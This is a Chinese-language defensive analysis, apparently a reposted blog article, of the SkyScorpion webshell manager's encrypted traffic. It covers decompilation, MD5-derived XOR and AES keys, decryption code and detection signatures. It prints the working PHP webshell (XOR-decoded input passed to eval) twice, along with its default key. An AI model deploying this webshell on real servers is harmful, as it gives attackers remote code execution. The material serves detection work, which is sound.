天蝎通信流量分析揭秘
获取源码
https://github.com/shack2/skyscorpion
只有一个jar包,下载下来反编译一下得到项目源代码。
不知道为什么有一些定义问题,可能是反编译的原因。例如 int 变量名 = true;
和int result = false;
之类,还有一些没用到的函数。
直接注释掉了,方便调试。项目结构调整一下
这样之后就可以直接在idea编译运行了(jdk1.8)。
但是比起直接运行的天蝎工具少了很多东西,是缺失资源文件的问题,我们把如下图的这四个资源文件都复制过来就可以了。
此时再次编译运行就正常了
分析php通信流量
各个语言的加解密方式看起来有些不同,先使用小皮系统启动一个php的web,看看通信特征。
因为shell里面的php木马只有一个api.php,我们把他传输到web中。
shell的默认密码是 sky,这里取的是密码明文32位md5的前16位
所以换密码时的密钥是这样的:900bc885d7553375aec470198a9514f3 –> 900bc885d7553375
<?php
@error_reporting(0);
session_start();
$key="900bc885d7553375";
$_SESSION['k']=$key;
$post=file_get_contents("php://input");
if(isset($post))
{
$datas=explode("n",$post);
$code=$datas[0];
$t="base64_"."decode";
$code=$t($code."");
for($i=0;$i<strlen($code);$i++){
$code[$i]=$code[$i]^$key[$i+1&15];
}
$arr=explode('|',$code);
$func=$arr[0];
if(isset($arr[1])){
$p=$arr[1];
class C{publicfunction __construct($p) {eval($p."");}}
@newC($p);
}
}
?>
打开burp抓取通信流量,发现流量还做了随机XFF头,但是UA头默认是定死的(感觉是弱特征,可修改)。
POST /api.php HTTP/1.1
User-Agent:Mozilla/5.0(Windows NT 10.0;Win64; x64)AppleWebKit/537.36(KHTML, like Gecko)Chrome/89.0.4389.90Safari/537.36Edg/89.0.774.57
X-Forwarded-For:122.17.235.140
Content-Type: application/x-www-form-urlencoded
Content-Length:596
Host:192.168.20.40:81
Connection: close
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=g255pgpeqesdq9iblrr70hs95i
UUMRBkpMSQFBVFkbUVZGXAYEPQddW1oAUh0SaWt9TFsDegQAVW5CBgR/BVJkAltydHESLE8Ifj5ZY0BqAGVFWwIEBQFvfkUGXlJFentEe3pZcQUqe3pPPm97T1JkDkBhA35SOmByBS90XgJ3YlhScHNxBSl/TFkBYwVeawJ5c2wBfig3CA1XLgVGW2tnRHt6WXEFKnt6WT0FXUN6dGFAYAN6VwBwaVotW3sEagF5WVoDfQsve3leBQVjAHhnRHt6XgAsIFViBAZaewVSZA5AcHdmFzoLcgAHf2RaeXRlXV13dREpf0xZAWRee3BdRHt6V1wPAQtxWi5wXgx+d0ReWGRIGAdwckY+YAFaeXRlXV13dRIsQWpFL05GRXp7RHt6WXEFKnt5fy5wZ11XdHFXc3dcBip8CFIucGddV3RxV3N3XAY7UWpHPm9ZV3l0XEd0Y2kaLW4IAi12BX56cHZScHgALCBfVEw+b2cEUF4DUnN3YgoHf30CIGZFDHdiWF5aXXYXOX8JAAcEZ0xjYH1fWgIFGzlVAV4GYG9bUl1tXFoCflcHcH4HBWBzT3pZRHt6XQEKAm8MWi9jRggUGh4O
查阅了一下代码,大致介绍一下反编译出来的项目结构
org/shack2/app 项目主入口点和启动逻辑
org/shack2/config 对配置文件config.ini的解析
org/shack2/controller 图形化界面中标签的对应实现
org/shack2/evalcode 四种语言的post请求构造代码,便于加密传输命令
org/shack2/model 各个功能的变量定义
org/shack2/plugins 插件加载和插件功能
org/shack2/richtext 富文本,不知道做什么用的
org/shack2/server 一些功能的实现代码
org/shack2/task 可能是异步操作的定义
org/shack2/ui 图形化的用到的一些资源,fxml文件
org/shack2/utils 常用的工具函数实现
发现php连接相关的代码在 /org/shack2/service/PHPService.java
文件中定义
我们从webshell管理页面的验证按钮开始打断点,可以跟到一个公共方法
public String conmmonParam(LinkedHashMap<String, String> params, WebShell ws, String api, boolean isDecrypt, boolean isBase64) throws Exception{
try{
Stringkey=this.getEncodeKey(ws);
byte[] bdata =this.getBaseCodeExe(params, ws, api, key);
byte[] body =HTTPUtils.postRequest(ws, bdata);
String result="";
if(!isDecrypt){
result =new String(body,"UTF-8");
}else{
if(isBase64){
body =Base64.getDecoder().decode(body);
}
result = MyCrypt.DecryptToString(body, key, ws.getType());
}
return result;
}catch(Exception var10){
throw var10;
}
}
追到后面有一个方法 也就是给密码进行md5的加密
public String getEncodeKey(WebShell ws) throws Exception{
try{
Stringkey=MyCrypt.getMD5_16(ws.getPass());
return key;
}catch(Exception var3){
throw var3;
}
}
实现
public static String getMD5_16(String clearText) throws Exception{
MessageDigestm=MessageDigest.getInstance("MD5");
m.update(clearText.getBytes());
Stringhash=(newBigInteger(1, m.digest())).toString(16).substring(0,16);
return hash;
}
使用返回的hash作为key (连接的预先动作),检查是使用了这样的一个方法进行检查
error_reporting(0);
function main() {
session_start();
$key=$_SESSION['k'];
echoencrypt("Success",$key);
}
function encrypt($data,$key)
{
for($i=0;$i<strlen($data);$i++){
$data[$i]=$data[$i]^$key[$i+1&15];
}
return $data;
}
请求和响应包都是加密的,那么代码里肯定有解密,下了两个断点,抓取了一下时调用的函数
public String conmmonParam(LinkedHashMap<String, String> params, WebShell ws, String api, boolean isDecrypt, boolean isBase64) throws Exception{
try{
Stringkey=this.getEncodeKey(ws);
byte[] bdata =this.getBaseCodeExe(params, ws, api, key);
byte[] body =HTTPUtils.postRequest(ws, bdata);
Stringresult="";
if(!isDecrypt){
result =new String(body,"UTF-8");
}else{
if(isBase64){
body =Base64.getDecoder().decode(body);
}
result =MyCrypt.DecryptToString(body, key, ws.getType());
}
return result;
}catch(Exception var10){
throw var10;
}
}
这里MyCrypt.DecryptToString方法中可以看见不同语言对应的是不同的加密方法,java和net用的是AES加密,PHP和asp用的是异或加密
public static String DecryptToString(byte[] bs, String key, String ctype) throws Exception{
ShellTypetype=ShellTypeUtils.getShellType(ctype);
try{
switch(type){
case JAVA:
return DecryptJava(bs, key);
case NET:
return DecryptNet(bs, key);
case PHP:
return DecryptPHP(bs, key);
case ASP:
return DecryptAsp(bs, key);
}
}catch(Exception var5){
throw new Exception("解密返回数据失败!"+ var5.getMessage());
}
throw new Exception("未发现此类型接口解密算法!");
}
php的相关代码中表示,进行了通信加密,但是没有进行base64编码
最终返回异或的数据
public static String DecryptPHP(byte[] bs, String key) throws Exception{
if(bs !=null&& bs.length !=0){
returnnewString(EncryptXOR(bs, key),"UTF-8");
}else{
throw new Exception("无返回数据");
}
}
加密算法很简单,异或就行了,但因为key都是本地的,所以在没拿到webshell样本的时候是没办法调用key进行解密的。
我们在有密钥的时候可以用这个函数进行解密。
public class XOREncryption{
public static byte[]EncryptXOR(byte[] bs,String key) throws Exception{
for(int i=0; i < bs.length;++i){
bs[i]^= key.getBytes()[i +1&15];
}
return bs;
}
public static String decryptXOR(byte[] bs, String key) throws Exception{
if(bs !=null&& bs.length !=0){
return new String(EncryptXOR(bs, key),"UTF-8");
}else{
throw new Exception("无返回数据");
}
}
public static String decryptString(byte[] inputBytes, String key) throws Exception{
// 将输入的字符串转换为字节数组
// byte[] inputBytes = input.getBytes("UTF-8");
// 调用解密方法
return decryptXOR(inputBytes, key);
}
public static void main(String[] args){
try{
String key="900bc885d7553375";// 替换为您的密钥
// byte[] input = new byte[] {99, 69, 1, 0, 93, 75, 70}; // 替换为需要解密的字符串
byte[] input =new byte[]{99,69,01,00,93,75,70};// 替换为需要解密的字符串
String decryptedString= decryptString(input, key);
System.out.println("解密后的字符串: "+ decryptedString);
}catch(Exception e){
e.printStackTrace();
}
}
}
例如验证的时候回显是 cE]KF
实际上还有两个不可见字符
cE]KF
直接在线换算成十进制
99 69 NULL NULL 93 75 70
两个NULL NULL 是01 和 00,复制到编辑器中可以看出来了,如idea或者sublime
解密出来就是Success
检测思路
可以简单判断出webshell的默认通信特征,新建shell的时候不一定会点验证,但是一定会点保存(此时发包会得到响应对应平台),所以蓝队人员在这里有几个检测点:
1、连接验证时响应
指定200响应、包含success的密文响应的规则(限制了长度避免误报)
2、连接保存时响应
平台对应的密文,应是Linux、Windows 10、Windows 10 专业版、Windows Server 2003 Enterprise Editon等
可以检测响应数据对应的十六进制数据,测试过解密是正确的数据
Linux: 7c590c1640
Windows10:67590c07574f46440605
Windows10专业版:67590c07574f4644060515 d7 8b a4 d1 81 aa d7 eb eb
Windows Server 2003 Enterprise Edition:67590c07574f4644645047455645150b000051437d5641014545475a4052157c5459160a57 56
3、webshell传输时的文件内容
直接匹配上传shell的特征字符串
<?php
@error_reporting(0);
session_start();
$key="900bc885d7553375";
$_SESSION['k']=$key;
$post=file_get_contents("php://input");
if(isset($post))
{
$datas=explode("n",$post);
$code=$datas[0];
$t="base64_"."decode";
$code=$t($code."");
for($i=0;$i<strlen($code);$i++){
$code[$i]=$code[$i]^$key[$i+1&15];
}
$arr=explode('|',$code);
$func=$arr[0];
if(isset($arr[1])){
$p=$arr[1];
class C{publicfunction __construct($p) {eval($p."");}}
@newC($p);
}
}
?>
通信流量加解密总结
这里放解密脚本,也就是代码里抠出来的函数,加个main调用
import java.math.BigInteger;
import java.security.MessageDigest;
import java.util.Base64;
import java.util.Iterator;
import java.util.List;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
public class Main {
public static String EncryptJava(byte[] bs, String key) throws Exception {
byte[] raw = key.getBytes("UTF-8");
SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
cipher.init(1, skeySpec);
byte[] data = cipher.doFinal(bs);
return Base64.getEncoder().encodeToString(data);
}
public static byte[] EncryptJavaByte(byte[] bs, String key) throws Exception {
byte[] raw = key.getBytes("UTF-8");
SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
cipher.init(1, skeySpec);
return cipher.doFinal(bs);
}
public static String EncryptAsp(byte[] bs, String key) throws Exception {
byte[] xor = EncryptXOR(bs, key);
byte[] base64 = Base64.getEncoder().encode(xor);
String result = new String(base64, "UTF-8");
return result;
}
public static String encryptToString(byte[] bs, String key, String ctype) throws Exception {
String type = ctype;
switch(type) {
case "JAVA":
return EncryptJava(bs, key);
case "NET":
return EncryptNet(bs, key);
case "PHP":
return EncryptPHP(bs, key);
case "ASP":
return EncryptAsp(bs, key);
default:
throw new Exception("暂不支持此类型");
}
}
public static byte[] encryptToByte(byte[] bs, String key, String ctype) throws Exception {
String type = ctype;
switch(type) {
case "JAVA":
return EncryptJavaByte(bs, key);
case "NET":
return EncryptNetByte(bs, key);
case "PHP":
return EncryptXOR(bs, key);
case "ASP":
return EncryptXOR(bs, key);
default:
throw new Exception("暂不支持此类型");
}
}
public static String DecryptToString(byte[] bs, String key, String ctype) throws Exception {
String type = ctype;
try {
switch(type) {
case "JAVA":
return DecryptJava(bs, key);
case "NET":
return DecryptNet(bs, key);
case "PHP":
return DecryptPHP(bs, key);
case "ASP":
return DecryptAsp(bs, key);
}
} catch (Exception var5) {
throw new Exception("解密返回数据失败!" + var5.getMessage());
}
throw new Exception("未发现此类型接口解密算法!");
}
private static byte[] listTobyte(List<Byte> list) {
if (list != null && list.size() >= 0) {
byte[] bytes = new byte[list.size()];
int i = 0;
for(Iterator iterator = list.iterator(); iterator.hasNext(); ++i) {
bytes[i] = (Byte)iterator.next();
}
return bytes;
} else {
return null;
}
}
public static String DecryptJava(byte[] bs, String key) throws Exception {
byte[] raw = key.getBytes("UTF-8");
SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
cipher.init(2, skeySpec);
byte[] decrypted = cipher.doFinal(bs);
return new String(decrypted, "UTF-8");
}
public static String decrypt(byte[] bs, String key) throws Exception {
byte[] raw = key.getBytes("UTF-8");
SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
cipher.init(2, skeySpec);
byte[] decrypted = cipher.doFinal(bs);
return new String(decrypted, "UTF-8");
}
public static byte[] DecryptJavaByte(byte[] bs, String key) throws Exception {
byte[] raw = key.getBytes("UTF-8");
SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
cipher.init(2, skeySpec);
return cipher.doFinal(bs);
}
public static byte[] EncryptNetByte(byte[] bs, String key) throws Exception {
byte[] raw = key.getBytes("UTF-8");
IvParameterSpec iv = new IvParameterSpec(raw);
SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(1, skeySpec, iv);
byte[] encrypted = cipher.doFinal(bs);
return encrypted;
}
public static String EncryptNet(byte[] bs, String key) throws Exception {
byte[] raw = key.getBytes("UTF-8");
IvParameterSpec iv = new IvParameterSpec(raw);
SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(1, skeySpec, iv);
byte[] encrypted = cipher.doFinal(bs);
return Base64.getEncoder().encodeToString(encrypted);
}
public static String DecryptNet(byte[] bs, String key) throws Exception {
byte[] raw = key.getBytes("UTF-8");
IvParameterSpec iv = new IvParameterSpec(raw);
SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(2, skeySpec, iv);
byte[] decrypted = cipher.doFinal(bs);
if (decrypted != null && decrypted.length != 0) {
return new String(decrypted, "UTF-8");
} else {
throw new Exception("");
}
}
public static byte[] DecryptNetByte(byte[] bs, String key) throws Exception {
byte[] raw = key.getBytes("UTF-8");
IvParameterSpec iv = new IvParameterSpec(raw);
SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(2, skeySpec, iv);
byte[] decrypted = cipher.doFinal(bs);
return decrypted;
}
public static String DecryptForCSharpToString(byte[] bs, String key) throws Exception {
byte[] raw = key.getBytes("UTF-8");
IvParameterSpec iv = new IvParameterSpec(raw);
SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(2, skeySpec, iv);
byte[] decrypted = cipher.doFinal(bs);
return new String(decrypted, "UTF-8");
}
public static String EncryptPHP(byte[] bs, String key) throws Exception {
return Base64.getEncoder().encodeToString(EncryptXOR(bs, key));
}
public static String DecryptPHP(byte[] bs, String key) throws Exception {
if (bs != null && bs.length != 0) {
return new String(EncryptXOR(bs, key), "UTF-8");
} else {
throw new Exception("无返回数据");
}
}
public static String DecryptAsp(byte[] bs, String key) throws Exception {
if (bs != null && bs.length != 0) {
byte[] xor = EncryptXOR(bs, key);
byte[] base64 = Base64.getDecoder().decode(xor);
String result = new String(base64, "UTF-8");
return result;
} else {
throw new Exception("无返回数据");
}
}
public static byte[] EncryptXOR(byte[] bs, String key) throws Exception {
for(int i = 0; i < bs.length; ++i) {
bs[i] ^= key.getBytes()[i + 1 & 15];
}
return bs;
}
public static String bytesToHexStr(byte[] src) {
StringBuilder sb = new StringBuilder();
if (src != null && src.length > 0) {
for(int i = 0; i < src.length; ++i) {
int v = src[i] & 255;
String hv = Integer.toHexString(v);
if (hv.length() < 2) {
sb.append(0);
}
sb.append(hv);
}
return sb.toString();
} else {
return null;
}
}
private static byte charToByte(char c) {
return (byte)"0123456789ABCDEF".indexOf(c);
}
public static byte[] hexStringToBytes(String hexString) {
if (hexString != null && !hexString.equals("")) {
hexString = hexString.toUpperCase();
int length = hexString.length() / 2;
char[] hexChars = hexString.toCharArray();
byte[] data = new byte[length];
for(int i = 0; i < length; ++i) {
int pos = i * 2;
data[i] = (byte)(charToByte(hexChars[pos]) << 4 | charToByte(hexChars[pos + 1]));
}
return data;
} else {
return null;
}
}
public static String getMD5_16(String clearText) throws Exception {
MessageDigest m = MessageDigest.getInstance("MD5");
m.update(clearText.getBytes());
String hash = (new BigInteger(1, m.digest())).toString(16).substring(0, 16);
return hash;
}
public static void main(String[] args) throws Exception {
String key = "900bc885d7553375"; // webshell对应的密钥
byte[] inputByte = new byte[] { 99, 69, 01,00, 93, 75, 70 }; // 密文信息
// 打印列表中的所有元素
String cyberByte = DecryptToString(inputByte ,key,"PHP"); // 调用函数
System.out.print(cyberByte);
}
}
后面发现ABC_123佬已经写了几款工具的很全面的图形化工具了,那有需要的同志可以直接去希潭实验室拿现成的工具来学习使用~
原文始发于微信公众号(安全光圈):HVV防守-天蝎通信流量揭秘